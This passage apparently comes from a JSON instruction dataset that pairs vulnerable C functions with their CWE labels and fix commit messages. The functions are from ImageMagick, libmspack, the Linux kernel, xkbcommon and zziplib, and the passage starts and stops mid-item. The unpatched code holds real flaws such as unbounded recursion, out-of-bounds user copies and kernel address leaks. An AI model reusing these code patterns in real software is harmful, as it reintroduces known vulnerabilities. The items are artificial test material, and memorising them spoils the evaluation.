q=PopShortPixel(MSBEndian,pixel,q);\n break;\n }\n case 8:\n {\n register unsigned char\n pixel;\n\n pixel=(unsigned char) ScaleQuantumToChar(image->colormap[i].red);\n q=PopCharPixel(pixel,q);\n pixel=(unsigned char) ScaleQuantumToChar(\n image->colormap[i].green);\n q=PopCharPixel(pixel,q);\n pixel=(unsigned char) ScaleQuantumToChar(image->colormap[i].blue);\n q=PopCharPixel(pixel,q);\n break;\n }\n }\n }\n (void) WriteBlob(image,packet_size*image->colors,colormap);\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n }\n /*\n Write image pixels to file.\n */\n status=MagickTrue;\n switch (compression)\n {\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n case BZipCompression:\n {\n int\n code;\n\n bzip_info.bzalloc=AcquireBZIPMemory;\n bzip_info.bzfree=RelinquishBZIPMemory;\n bzip_info.opaque=(void *) NULL;\n code=BZ2_bzCompressInit(&bzip_info,(int) (image->quality ==\n UndefinedCompressionQuality ? 7 : MagickMin(image->quality/10,\n 9)),(int) image_info->verbose,0);\n if (code != BZ_OK)\n status=MagickFalse;\n break;\n }\n#endif\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n case LZMACompression:\n {\n int\n code;\n\n allocator.alloc=AcquireLZMAMemory;\n allocator.free=RelinquishLZMAMemory;\n allocator.opaque=(void *) NULL;\n lzma_info=initialize_lzma;\n lzma_info.allocator=&allocator;\n code=lzma_easy_encoder(&lzma_info,image->quality/10,LZMA_CHECK_SHA256);\n if (code != LZMA_OK)\n status=MagickTrue;\n break;\n }\n#endif\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n case LZWCompression:\n case ZipCompression:\n {\n int\n code;\n\n zip_info.zalloc=AcquireZIPMemory;\n zip_info.zfree=RelinquishZIPMemory;\n zip_info.opaque=(void *) NULL;\n code=deflateInit(&zip_info,(int) (image->quality ==\n UndefinedCompressionQuality ? 7 : MagickMin(image->quality/10,9)));\n if (code != Z_OK)\n status=MagickFalse;\n break;\n }\n#endif\n default:\n break;\n }\n quantum_type=GetQuantumType(image,&image->exception);\n pixels=GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n register const IndexPacket\n *magick_restrict indexes;\n\n register const PixelPacket\n *magick_restrict p;\n\n register ssize_t\n x;\n\n if (status == MagickFalse)\n break;\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n indexes=GetVirtualIndexQueue(image);\n q=pixels;\n switch (compression)\n {\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n case BZipCompression:\n {\n bzip_info.next_in=(char *) pixels;\n bzip_info.avail_in=(unsigned int) (packet_size*image->columns);\n (void) ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,quantum_type,pixels,&image->exception);\n do\n {\n int\n code;\n\n bzip_info.next_out=(char *) compress_pixels;\n bzip_info.avail_out=(unsigned int) BZipMaxExtent(packet_size*\n image->columns);\n code=BZ2_bzCompress(&bzip_info,BZ_FLUSH);\n if (code != BZ_OK)\n status=MagickFalse;\n length=(size_t) (bzip_info.next_out-(char *) compress_pixels);\n if (length != 0)\n {\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n (void) WriteBlob(image,length,compress_pixels);\n }\n } while (bzip_info.avail_in != 0);\n break;\n }\n#endif\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n case LZMACompression:\n {\n lzma_info.next_in=pixels;\n lzma_info.avail_in=packet_size*image->columns;\n (void) ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,quantum_type,pixels,&image->exception);\n do\n {\n int\n code;\n\n lzma_info.next_out=compress_pixels;\n lzma_info.avail_out=packet_size*image->columns;\n code=lzma_code(&lzma_info,LZMA_RUN);\n if (code != LZMA_OK)\n status=MagickFalse;\n length=(size_t) (lzma_info.next_out-compress_pixels);\n if (length != 0)\n {\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n (void) WriteBlob(image,length,compress_pixels);\n }\n } while (lzma_info.avail_in != 0);\n break;\n }\n#endif\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n case LZWCompression:\n case ZipCompression:\n {\n zip_info.next_in=pixels;\n zip_info.avail_in=(uInt) (packet_size*image->columns);\n (void) ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,quantum_type,pixels,&image->exception);\n do\n {\n int\n code;\n\n zip_info.next_out=compress_pixels;\n zip_info.avail_out=(uInt) ZipMaxExtent(packet_size*image->columns);\n code=deflate(&zip_info,Z_SYNC_FLUSH);\n if (code != Z_OK)\n status=MagickFalse;\n length=(size_t) (zip_info.next_out-compress_pixels);\n if (length != 0)\n {\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n (void) WriteBlob(image,length,compress_pixels);\n }\n } while (zip_info.avail_in != 0);\n break;\n }\n#endif\n case RLECompression:\n {\n pixel=(*p);\n index=(IndexPacket) 0;\n if (indexes != (IndexPacket *) NULL)\n index=(*indexes);\n length=255;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if ((length < 255) && (x < (ssize_t) (image->columns-1)) &&\n (IsColorEqual(p,&pixel) != MagickFalse) &&\n ((image->matte == MagickFalse) ||\n (GetPixelOpacity(p) == pixel.opacity)) &&\n ((indexes == (IndexPacket *) NULL) ||\n (index == GetPixelIndex(indexes+x))))\n length++;\n else\n {\n if (x > 0)\n q=PopRunlengthPacket(image,q,length,pixel,index);\n length=0;\n }\n pixel=(*p);\n if (indexes != (IndexPacket *) NULL)\n index=GetPixelIndex(indexes+x);\n p++;\n }\n q=PopRunlengthPacket(image,q,length,pixel,index);\n (void) WriteBlob(image,(size_t) (q-pixels),pixels);\n break;\n }\n default:\n {\n (void) ExportQuantumPixels(image,(const CacheView *) NULL,\n quantum_info,quantum_type,pixels,&image->exception);\n (void) WriteBlob(image,packet_size*image->columns,pixels);\n break;\n }\n }\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n switch (compression)\n {\n#if defined(MAGICKCORE_BZLIB_DELEGATE)\n case BZipCompression:\n {\n int\n code;\n\n for ( ; ; )\n {\n if (status == MagickFalse)\n break;\n bzip_info.next_out=(char *) compress_pixels;\n bzip_info.avail_out=(unsigned int) BZipMaxExtent(packet_size*\n image->columns);\n code=BZ2_bzCompress(&bzip_info,BZ_FINISH);\n length=(size_t) (bzip_info.next_out-(char *) compress_pixels);\n if (length != 0)\n {\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n (void) WriteBlob(image,length,compress_pixels);\n }\n if (code == BZ_STREAM_END)\n break;\n }\n code=BZ2_bzCompressEnd(&bzip_info);\n if (code != BZ_OK)\n status=MagickFalse;\n break;\n }\n#endif\n#if defined(MAGICKCORE_LZMA_DELEGATE)\n case LZMACompression:\n {\n int\n code;\n\n for ( ; ; )\n {\n if (status == MagickFalse)\n break;\n lzma_info.next_out=compress_pixels;\n lzma_info.avail_out=packet_size*image->columns;\n code=lzma_code(&lzma_info,LZMA_FINISH);\n length=(size_t) (lzma_info.next_out-compress_pixels);\n if (length > 6)\n {\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n (void) WriteBlob(image,length,compress_pixels);\n }\n if (code == LZMA_STREAM_END)\n break;\n }\n lzma_end(&lzma_info);\n break;\n }\n#endif\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n case LZWCompression:\n case ZipCompression:\n {\n int\n code;\n\n for ( ; ; )\n {\n if (status == MagickFalse)\n break;\n zip_info.next_out=compress_pixels;\n zip_info.avail_out=(uInt) ZipMaxExtent(packet_size*image->columns);\n code=deflate(&zip_info,Z_FINISH);\n length=(size_t) (zip_info.next_out-compress_pixels);\n if (length > 6)\n {\n (void) WriteBlobMSBLong(image,(unsigned int) length);\n (void) WriteBlob(image,length,compress_pixels);\n }\n if (code == Z_STREAM_END)\n break;\n }\n code=deflateEnd(&zip_info);\n if (code != Z_OK)\n status=MagickFalse;\n break;\n }\n#endif\n default:\n break;\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n compress_pixels=(unsigned char *) RelinquishMagickMemory(compress_pixels);\n if (GetNextImageInList(image) == (Image *) NULL)\n break;\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,SaveImagesTag,scene++,imageListLength);\n if (status == MagickFalse)\n break;\n } while (image_info->adjoin != MagickFalse);\n (void) CloseBlob(image);\n return(status);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1191'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int chmd_read_headers(struct mspack_system *sys, struct mspack_file *fh,\n\t\t\t struct mschmd_header *chm, int entire)\n{\n unsigned int section, name_len, x, errors, num_chunks;\n unsigned char buf[0x54], *chunk = NULL, *name, *p, *end;\n struct mschmd_file *fi, *link = NULL;\n off_t offset, length;\n int num_entries;\n\n /* initialise pointers */\n chm->files = NULL;\n chm->sysfiles = NULL;\n chm->chunk_cache = NULL;\n chm->sec0.base.chm = chm;\n chm->sec0.base.id = 0;\n chm->sec1.base.chm = chm;\n chm->sec1.base.id = 1;\n chm->sec1.content = NULL;\n chm->sec1.control = NULL;\n chm->sec1.spaninfo = NULL;\n chm->sec1.rtable = NULL;\n\n /* read the first header */\n if (sys->read(fh, &buf[0], chmhead_SIZEOF) != chmhead_SIZEOF) {\n return MSPACK_ERR_READ;\n }\n\n /* check ITSF signature */\n if (EndGetI32(&buf[chmhead_Signature]) != 0x46535449) {\n return MSPACK_ERR_SIGNATURE;\n }\n\n /* check both header GUIDs */\n if (mspack_memcmp(&buf[chmhead_GUID1], &guids[0], 32L) != 0) {\n D((\"incorrect GUIDs\"))\n return MSPACK_ERR_SIGNATURE;\n }\n\n chm->version = EndGetI32(&buf[chmhead_Version]);\n chm->timestamp = EndGetM32(&buf[chmhead_Timestamp]);\n chm->language = EndGetI32(&buf[chmhead_LanguageID]);\n if (chm->version > 3) {\n sys->message(fh, \"WARNING; CHM version > 3\");\n }\n\n /* read the header section table */\n if (sys->read(fh, &buf[0], chmhst3_SIZEOF) != chmhst3_SIZEOF) {\n return MSPACK_ERR_READ;\n }\n\n /* chmhst3_OffsetCS0 does not exist in version 1 or 2 CHM files.\n * The offset will be corrected later, once HS1 is read.\n */\n if (read_off64(&offset, &buf[chmhst_OffsetHS0], sys, fh) ||\n read_off64(&chm->dir_offset, &buf[chmhst_OffsetHS1], sys, fh) ||\n read_off64(&chm->sec0.offset, &buf[chmhst3_OffsetCS0], sys, fh))\n {\n return MSPACK_ERR_DATAFORMAT;\n }\n\n /* seek to header section 0 */\n if (sys->seek(fh, offset, MSPACK_SYS_SEEK_START)) {\n return MSPACK_ERR_SEEK;\n }\n\n /* read header section 0 */\n if (sys->read(fh, &buf[0], chmhs0_SIZEOF) != chmhs0_SIZEOF) {\n return MSPACK_ERR_READ;\n }\n if (read_off64(&chm->length, &buf[chmhs0_FileLen], sys, fh)) {\n return MSPACK_ERR_DATAFORMAT;\n }\n\n /* seek to header section 1 */\n if (sys->seek(fh, chm->dir_offset, MSPACK_SYS_SEEK_START)) {\n return MSPACK_ERR_SEEK;\n }\n\n /* read header section 1 */\n if (sys->read(fh, &buf[0], chmhs1_SIZEOF) != chmhs1_SIZEOF) {\n return MSPACK_ERR_READ;\n }\n\n chm->dir_offset = sys->tell(fh);\n chm->chunk_size = EndGetI32(&buf[chmhs1_ChunkSize]);\n chm->density = EndGetI32(&buf[chmhs1_Density]);\n chm->depth = EndGetI32(&buf[chmhs1_Depth]);\n chm->index_root = EndGetI32(&buf[chmhs1_IndexRoot]);\n chm->num_chunks = EndGetI32(&buf[chmhs1_NumChunks]);\n chm->first_pmgl = EndGetI32(&buf[chmhs1_FirstPMGL]);\n chm->last_pmgl = EndGetI32(&buf[chmhs1_LastPMGL]);\n\n if (chm->version < 3) {\n /* versions before 3 don't have chmhst3_OffsetCS0 */\n chm->sec0.offset = chm->dir_offset + (chm->chunk_size * chm->num_chunks);\n }\n\n /* check if content offset or file size is wrong */\n if (chm->sec0.offset > chm->length) {\n D((\"content section begins after file has ended\"))\n return MSPACK_ERR_DATAFORMAT;\n }\n \n /* ensure there are chunks and that chunk size is\n * large enough for signature and num_entries */\n if (chm->chunk_size < (pmgl_Entries + 2)) {\n D((\"chunk size not large enough\"))\n return MSPACK_ERR_DATAFORMAT;\n }\n if (chm->num_chunks == 0) {\n D((\"no chunks\"))\n return MSPACK_ERR_DATAFORMAT;\n }\n\n /* The chunk_cache data structure is not great; large values for num_chunks\n * or num_chunks*chunk_size can exhaust all memory. Until a better chunk\n * cache is implemented, put arbitrary limits on num_chunks and chunk size.\n */\n if (chm->num_chunks > 100000) {\n D((\"more than 100,000 chunks\"))\n return MSPACK_ERR_DATAFORMAT;\n } \n if ((off_t)chm->chunk_size * (off_t)chm->num_chunks > chm->length) {\n D((\"chunks larger than entire file\"))\n return MSPACK_ERR_DATAFORMAT;\n }\n\n /* common sense checks on header section 1 fields */\n if ((chm->chunk_size & (chm->chunk_size - 1)) != 0) {\n sys->message(fh, \"WARNING; chunk size is not a power of two\");\n }\n if (chm->first_pmgl != 0) {\n sys->message(fh, \"WARNING; first PMGL chunk is not zero\");\n }\n if (chm->first_pmgl > chm->last_pmgl) {\n D((\"first pmgl chunk is after last pmgl chunk\"))\n return MSPACK_ERR_DATAFORMAT;\n }\n if (chm->index_root != 0xFFFFFFFF && chm->index_root > chm->num_chunks) {\n D((\"index_root outside valid range\"))\n return MSPACK_ERR_DATAFORMAT;\n }\n\n /* if we are doing a quick read, stop here! */\n if (!entire) {\n return MSPACK_ERR_OK;\n }\n\n /* seek to the first PMGL chunk, and reduce the number of chunks to read */\n if ((x = chm->first_pmgl) != 0) {\n if (sys->seek(fh,(off_t) (x * chm->chunk_size), MSPACK_SYS_SEEK_CUR)) {\n return MSPACK_ERR_SEEK;\n }\n }\n num_chunks = chm->last_pmgl - x + 1;\n\n if (!(chunk = (unsigned char *) sys->alloc(sys, (size_t)chm->chunk_size))) {\n return MSPACK_ERR_NOMEMORY;\n }\n\n /* read and process all chunks from FirstPMGL to LastPMGL */\n errors = 0;\n while (num_chunks--) {\n /* read next chunk */\n if (sys->read(fh, chunk, (int)chm->chunk_size) != (int)chm->chunk_size) {\n sys->free(chunk);\n return MSPACK_ERR_READ;\n }\n\n /* process only directory (PMGL) chunks */\n if (EndGetI32(&chunk[pmgl_Signature]) != 0x4C474D50) continue;\n\n if (EndGetI32(&chunk[pmgl_QuickRefSize]) < 2) {\n sys->message(fh, \"WARNING; PMGL quickref area is too small\");\n }\n if (EndGetI32(&chunk[pmgl_QuickRefSize]) > \n\t((int)chm->chunk_size - pmgl_Entries))\n {\n sys->message(fh, \"WARNING; PMGL quickref area is too large\");\n }\n\n p = &chunk[pmgl_Entries];\n end = &chunk[chm->chunk_size - 2];\n num_entries = EndGetI16(end);\n\n while (num_entries--) {\n READ_ENCINT(name_len);\n if (name_len > (unsigned int) (end - p)) goto chunk_end;\n name = p; p += name_len;\n READ_ENCINT(section);\n READ_ENCINT(offset);\n READ_ENCINT(length);\n\n /* empty files and directory names are stored as a file entry at\n * offset 0 with length 0. We want to keep empty files, but not\n * directory names, which end with a \"/\" */\n if ((offset == 0) && (length == 0)) {\n\tif ((name_len > 0) && (name[name_len-1] == '/')) continue;\n }\n\n if (section > 1) {\n\tsys->message(fh, \"invalid section number '%u'.\", section);\n\tcontinue;\n }\n\n if (!(fi = (struct mschmd_file *) sys->alloc(sys, sizeof(struct mschmd_file) + name_len + 1))) {\n\tsys->free(chunk);\n\treturn MSPACK_ERR_NOMEMORY;\n }\n\n fi->next = NULL;\n fi->filename = (char *) &fi[1];\n fi->section = ((section == 0) ? (struct mschmd_section *) (&chm->sec0)\n\t\t : (struct mschmd_section *) (&chm->sec1));\n fi->offset = offset;\n fi->length = length;\n sys->copy(name, fi->filename, (size_t) name_len);\n fi->filename[name_len] = '\\0';\n\n if (name[0] == ':' && name[1] == ':') {\n\t/* system file */\n\tif (mspack_memcmp(&name[2], &content_name[2], 31L) == 0) {\n\t if (mspack_memcmp(&name[33], &content_name[33], 8L) == 0) {\n\t chm->sec1.content = fi;\n\t }\n\t else if (mspack_memcmp(&name[33], &control_name[33], 11L) == 0) {\n\t chm->sec1.control = fi;\n\t }\n\t else if (mspack_memcmp(&name[33], &spaninfo_name[33], 8L) == 0) {\n\t chm->sec1.spaninfo = fi;\n\t }\n\t else if (mspack_memcmp(&name[33], &rtable_name[33], 72L) == 0) {\n\t chm->sec1.rtable = fi;\n\t }\n\t}\n\tfi->next = chm->sysfiles;\n\tchm->sysfiles = fi;\n }\n else {\n\t/* normal file */\n\tif (link) link->next = fi; else chm->files = fi;\n\tlink = fi;\n }\n }\n\n /* this is reached either when num_entries runs out, or if\n * reading data from the chunk reached a premature end of chunk */\n chunk_end:\n if (num_entries >= 0) {\n D((\"chunk ended before all entries could be read\"))\n errors++;\n }\n\n }\n sys->free(chunk);\n return (errors > 0) ? MSPACK_ERR_DATAFORMAT : MSPACK_ERR_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-193', 'CWE-682'], 'message': 'Fix off-by-one bounds check on CHM PMGI/PMGL chunk numbers and\nreject empty filenames. Thanks to Hanno B\u00f6ck for reporting'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: char *pointer(const char *fmt, char *buf, char *end, void *ptr,\n\t struct printf_spec spec)\n{\n\tconst int default_width = 2 * sizeof(void *);\n\n\tif (!ptr && *fmt != 'K') {\n\t\t/*\n\t\t * Print (null) with the same width as a pointer so it makes\n\t\t * tabular output look nice.\n\t\t */\n\t\tif (spec.field_width == -1)\n\t\t\tspec.field_width = default_width;\n\t\treturn string(buf, end, \"(null)\", spec);\n\t}\n\n\tswitch (*fmt) {\n\tcase 'F':\n\tcase 'f':\n\t\tptr = dereference_function_descriptor(ptr);\n\t\t/* Fallthrough */\n\tcase 'S':\n\tcase 's':\n\tcase 'B':\n\t\treturn symbol_string(buf, end, ptr, spec, fmt);\n\tcase 'R':\n\tcase 'r':\n\t\treturn resource_string(buf, end, ptr, spec, fmt);\n\tcase 'h':\n\t\treturn hex_string(buf, end, ptr, spec, fmt);\n\tcase 'b':\n\t\tswitch (fmt[1]) {\n\t\tcase 'l':\n\t\t\treturn bitmap_list_string(buf, end, ptr, spec, fmt);\n\t\tdefault:\n\t\t\treturn bitmap_string(buf, end, ptr, spec, fmt);\n\t\t}\n\tcase 'M':\t\t\t/* Colon separated: 00:01:02:03:04:05 */\n\tcase 'm':\t\t\t/* Contiguous: 000102030405 */\n\t\t\t\t\t/* [mM]F (FDDI) */\n\t\t\t\t\t/* [mM]R (Reverse order; Bluetooth) */\n\t\treturn mac_address_string(buf, end, ptr, spec, fmt);\n\tcase 'I':\t\t\t/* Formatted IP supported\n\t\t\t\t\t * 4:\t1.2.3.4\n\t\t\t\t\t * 6:\t0001:0203:...:0708\n\t\t\t\t\t * 6c:\t1::708 or 1::1.2.3.4\n\t\t\t\t\t */\n\tcase 'i':\t\t\t/* Contiguous:\n\t\t\t\t\t * 4:\t001.002.003.004\n\t\t\t\t\t * 6: 000102...0f\n\t\t\t\t\t */\n\t\tswitch (fmt[1]) {\n\t\tcase '6':\n\t\t\treturn ip6_addr_string(buf, end, ptr, spec, fmt);\n\t\tcase '4':\n\t\t\treturn ip4_addr_string(buf, end, ptr, spec, fmt);\n\t\tcase 'S': {\n\t\t\tconst union {\n\t\t\t\tstruct sockaddr\t\traw;\n\t\t\t\tstruct sockaddr_in\tv4;\n\t\t\t\tstruct sockaddr_in6\tv6;\n\t\t\t} *sa = ptr;\n\n\t\t\tswitch (sa->raw.sa_family) {\n\t\t\tcase AF_INET:\n\t\t\t\treturn ip4_addr_string_sa(buf, end, &sa->v4, spec, fmt);\n\t\t\tcase AF_INET6:\n\t\t\t\treturn ip6_addr_string_sa(buf, end, &sa->v6, spec, fmt);\n\t\t\tdefault:\n\t\t\t\treturn string(buf, end, \"(invalid address)\", spec);\n\t\t\t}}\n\t\t}\n\t\tbreak;\n\tcase 'E':\n\t\treturn escaped_string(buf, end, ptr, spec, fmt);\n\tcase 'U':\n\t\treturn uuid_string(buf, end, ptr, spec, fmt);\n\tcase 'V':\n\t\t{\n\t\t\tva_list va;\n\n\t\t\tva_copy(va, *((struct va_format *)ptr)->va);\n\t\t\tbuf += vsnprintf(buf, end > buf ? end - buf : 0,\n\t\t\t\t\t ((struct va_format *)ptr)->fmt, va);\n\t\t\tva_end(va);\n\t\t\treturn buf;\n\t\t}\n\tcase 'K':\n\t\treturn restricted_pointer(buf, end, ptr, spec);\n\tcase 'N':\n\t\treturn netdev_bits(buf, end, ptr, fmt);\n\tcase 'a':\n\t\treturn address_val(buf, end, ptr, fmt);\n\tcase 'd':\n\t\treturn dentry_name(buf, end, ptr, spec, fmt);\n\tcase 'C':\n\t\treturn clock(buf, end, ptr, spec, fmt);\n\tcase 'D':\n\t\treturn dentry_name(buf, end,\n\t\t\t\t ((const struct file *)ptr)->f_path.dentry,\n\t\t\t\t spec, fmt);\n#ifdef CONFIG_BLOCK\n\tcase 'g':\n\t\treturn bdev_name(buf, end, ptr, spec, fmt);\n#endif\n\n\tcase 'G':\n\t\treturn flags_string(buf, end, ptr, fmt);\n\tcase 'O':\n\t\tswitch (fmt[1]) {\n\t\tcase 'F':\n\t\t\treturn device_node_string(buf, end, ptr, spec, fmt + 1);\n\t\t}\n\t}\n\tspec.flags |= SMALL;\n\tif (spec.field_width == -1) {\n\t\tspec.field_width = default_width;\n\t\tspec.flags |= ZEROPAD;\n\t}\n\tspec.base = 16;\n\n\treturn number(buf, end, (unsigned long) ptr, spec);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'printk: hash addresses printed with %p\n\nCurrently there exist approximately 14 000 places in the kernel where\naddresses are being printed using an unadorned %p. This potentially\nleaks sensitive information regarding the Kernel layout in memory. Many\nof these calls are stale, instead of fixing every call lets hash the\naddress by default before printing. This will of course break some\nusers, forcing code printing needed addresses to be updated.\n\nCode that _really_ needs the address will soon be able to use the new\nprintk specifier %px to print the address.\n\nFor what it's worth, usage of unadorned %p can be broken down as\nfollows (thanks to Joe Perches).\n\n$ git grep -E '%p[^A-Za-z0-9]' | cut -f1 -d\"/\" | sort | uniq -c\n 1084 arch\n 20 block\n 10 crypto\n 32 Documentation\n 8121 drivers\n 1221 fs\n 143 include\n 101 kernel\n 69 lib\n 100 mm\n 1510 net\n 40 samples\n 7 scripts\n 11 security\n 166 sound\n 152 tools\n 2 virt\n\nAdd function ptr_to_id() to map an address to a 32 bit unique\nidentifier. Hash any unadorned usage of specifier %p and any malformed\nspecifiers.\n\nSigned-off-by: Tobin C. Harding '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ExprResolveBoolean(struct xkb_context *ctx, const ExprDef *expr,\n bool *set_rtrn)\n{\n bool ok = false;\n const char *ident;\n\n switch (expr->expr.op) {\n case EXPR_VALUE:\n if (expr->expr.value_type != EXPR_TYPE_BOOLEAN) {\n log_err(ctx,\n \"Found constant of type %s where boolean was expected\\n\",\n expr_value_type_to_string(expr->expr.value_type));\n return false;\n }\n *set_rtrn = expr->boolean.set;\n return true;\n\n case EXPR_IDENT:\n ident = xkb_atom_text(ctx, expr->ident.ident);\n if (ident) {\n if (istreq(ident, \"true\") ||\n istreq(ident, \"yes\") ||\n istreq(ident, \"on\")) {\n *set_rtrn = true;\n return true;\n }\n else if (istreq(ident, \"false\") ||\n istreq(ident, \"no\") ||\n istreq(ident, \"off\")) {\n *set_rtrn = false;\n return true;\n }\n }\n log_err(ctx, \"Identifier \\\"%s\\\" of type boolean is unknown\\n\", ident);\n return false;\n\n case EXPR_FIELD_REF:\n log_err(ctx, \"Default \\\"%s.%s\\\" of type boolean is unknown\\n\",\n xkb_atom_text(ctx, expr->field_ref.element),\n xkb_atom_text(ctx, expr->field_ref.field));\n return false;\n\n case EXPR_INVERT:\n case EXPR_NOT:\n ok = ExprResolveBoolean(ctx, expr, set_rtrn);\n if (ok)\n *set_rtrn = !*set_rtrn;\n return ok;\n case EXPR_ADD:\n case EXPR_SUBTRACT:\n case EXPR_MULTIPLY:\n case EXPR_DIVIDE:\n case EXPR_ASSIGN:\n case EXPR_NEGATE:\n case EXPR_UNARY_PLUS:\n log_err(ctx, \"%s of boolean values not permitted\\n\",\n expr_op_type_to_string(expr->expr.op));\n break;\n\n default:\n log_wsgo(ctx, \"Unknown operator %d in ResolveBoolean\\n\",\n expr->expr.op);\n break;\n }\n\n return false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'xkbcomp: fix stack overflow when evaluating boolean negation\n\nThe expression evaluator would go into an infinite recursion when\nevaluating something like this as a boolean: `!True`. Instead of\nrecursing to just `True` and negating, it recursed to `!True` itself\nagain.\n\nBug inherited from xkbcomp.\n\nCaught with the afl fuzzer.\n\nSigned-off-by: Ran Benita '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static ssize_t yurex_read(struct file *file, char __user *buffer, size_t count,\n\t\t\t loff_t *ppos)\n{\n\tstruct usb_yurex *dev;\n\tint retval = 0;\n\tint bytes_read = 0;\n\tchar in_buffer[20];\n\tunsigned long flags;\n\n\tdev = file->private_data;\n\n\tmutex_lock(&dev->io_mutex);\n\tif (!dev->interface) {\t\t/* already disconnected */\n\t\tretval = -ENODEV;\n\t\tgoto exit;\n\t}\n\n\tspin_lock_irqsave(&dev->lock, flags);\n\tbytes_read = snprintf(in_buffer, 20, \"%lld\\n\", dev->bbu);\n\tspin_unlock_irqrestore(&dev->lock, flags);\n\n\tif (*ppos < bytes_read) {\n\t\tif (copy_to_user(buffer, in_buffer + *ppos, bytes_read - *ppos))\n\t\t\tretval = -EFAULT;\n\t\telse {\n\t\t\tretval = bytes_read - *ppos;\n\t\t\t*ppos += bytes_read;\n\t\t}\n\t}\n\nexit:\n\tmutex_unlock(&dev->io_mutex);\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-200'], 'message': 'USB: yurex: fix out-of-bounds uaccess in read handler\n\nIn general, accessing userspace memory beyond the length of the supplied\nbuffer in VFS read/write handlers can lead to both kernel memory corruption\n(via kernel_read()/kernel_write(), which can e.g. be triggered via\nsys_splice()) and privilege escalation inside userspace.\n\nFix it by using simple_read_from_buffer() instead of custom logic.\n\nFixes: 6bc235a2e24a (\"USB: add driver for Meywa-Denki & Kayac YUREX\")\nSigned-off-by: Jann Horn \nCc: stable \nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: __zzip_parse_root_directory(int fd,\n struct _disk_trailer *trailer,\n struct zzip_dir_hdr **hdr_return,\n zzip_plugin_io_t io,\n zzip_off_t filesize)\n{\n auto struct zzip_disk_entry dirent;\n struct zzip_dir_hdr *hdr;\n struct zzip_dir_hdr *hdr0;\n uint16_t *p_reclen = 0;\n zzip_off64_t entries;\n zzip_off64_t zz_offset; /* offset from start of root directory */\n char *fd_map = 0;\n zzip_off64_t zz_fd_gap = 0;\n zzip_off64_t zz_entries = _disk_trailer_localentries(trailer);\n zzip_off64_t zz_rootsize = _disk_trailer_rootsize(trailer);\n zzip_off64_t zz_rootseek = _disk_trailer_rootseek(trailer);\n __correct_rootseek(zz_rootseek, zz_rootsize, trailer);\n\n if (zz_entries <= 0 || zz_rootsize < 0 ||\n zz_rootseek < 0 || zz_rootseek >= filesize)\n return ZZIP_CORRUPTED;\n\n hdr0 = (struct zzip_dir_hdr *) malloc(zz_rootsize);\n if (! hdr0)\n return ZZIP_DIRSIZE;\n hdr = hdr0;\n __debug_dir_hdr(hdr);\n\n if (USE_MMAP && io->fd.sys)\n {\n zz_fd_gap = zz_rootseek & (_zzip_getpagesize(io->fd.sys) - 1);\n HINT4(\" fd_gap=%ld, mapseek=0x%lx, maplen=%ld\", (long) (zz_fd_gap),\n (long) (zz_rootseek - zz_fd_gap),\n (long) (zz_rootsize + zz_fd_gap));\n fd_map =\n _zzip_mmap(io->fd.sys, fd, zz_rootseek - zz_fd_gap,\n zz_rootsize + zz_fd_gap);\n /* if mmap failed we will fallback to seek/read mode */\n if (fd_map == MAP_FAILED)\n {\n NOTE2(\"map failed: %s\", strerror(errno));\n fd_map = 0;\n } else\n {\n HINT3(\"mapped *%p len=%li\", fd_map,\n (long) (zz_rootsize + zz_fd_gap));\n }\n }\n\n for (entries=0, zz_offset=0; ; entries++)\n {\n register struct zzip_disk_entry *d;\n uint16_t u_extras, u_comment, u_namlen;\n\n# ifndef ZZIP_ALLOW_MODULO_ENTRIES\n if (entries >= 